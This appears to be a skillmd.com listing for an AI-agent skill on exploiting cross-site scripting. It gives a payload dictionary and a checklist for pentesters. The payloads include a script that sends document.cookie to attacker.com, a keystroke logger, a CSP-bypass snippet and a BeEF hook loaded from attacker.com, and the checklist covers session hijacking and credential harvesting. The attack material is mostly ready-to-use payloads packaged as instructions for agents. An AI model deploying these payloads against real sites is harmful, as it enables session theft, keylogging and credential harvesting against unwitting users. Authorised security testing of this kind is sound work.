# Cross Site Scripting Exploitation

> Use when exploiting XSS vulnerabilities.

- Skill: `loopyluci/cross-site-scripting-exploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add loopyluci/cross-site-scripting-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/loopyluci/cross-site-scripting-exploitation/raw
- Safety review: pending (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: LoopyLuci (https://skillmd.com/u/loopyluci)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/loopyluci/cross-site-scripting-exploitation

---


# Cross-Site Scripting Exploitation

Exploiting XSS vulnerabilities — from reflected, stored, and DOM-based through CSP bypass, session hijacking, keylogging, and BeEF integration.

## When to Use

- Detecting and exploiting XSS vulnerabilities
- Bypassing CSP (Content Security Policy)
- Session hijacking via XSS
- XSS for phishing and credential harvesting (authorized testing)

## XSS Payloads

```python
XSS_TYPES = {
    'reflected': "Payload in URL/parameter, reflected immediately in response",
    'stored': "Payload stored on server (comments, profiles), served to all visitors",
    'dom_based': "Payload executed via client-side JS (URL fragment, eval, innerHTML)",
}

XSS_PAYLOADS = {
    'basic_alert': "<script>alert(1)</script>",
    'img_onerror': "<img src=x onerror=alert(1)>",
    'svg_onload': "<svg/onload=alert(1)>",
    'body_onload': "<body onload=alert(1)>",
    'iframe': "<iframe onload=alert(1)>",
    'csp_bypass': "<script src='https://cdn.example.com/angular.js' onload=angular.module('x').run()></script>",
    'cookie_steal': "<script>fetch('https://attacker.com/c?'+document.cookie)</script>",
    'keylogger': "<script>document.onkeypress=e=>fetch('/log?k='+e.key)</script>",
}

# BeEF hook URL
BEEF_HOOK = "<script src='https://attacker.com/hook.js'></script>"
```

## Verification Checklist

- [ ] XSS type identified (reflected, stored, DOM-based)
- [ ] Context determined (HTML, attribute, JS, CSS, URL)
- [ ] Basic payload confirmed (<script>alert(1)</script>)
- [ ] WAF/CSP bypass attempted
- [ ] Impact demonstrated (cookie stealing, page defacement, keylogging)
- [ ] BeEF hook deployed for browser exploitation (if scoped)
- [ ] Credential harvesting PoC (authorized targets only)
- [ ] Self-XSS distinguished from actual vulnerability
- [ ] Remediation guidance provided (output encoding, CSP, input validation)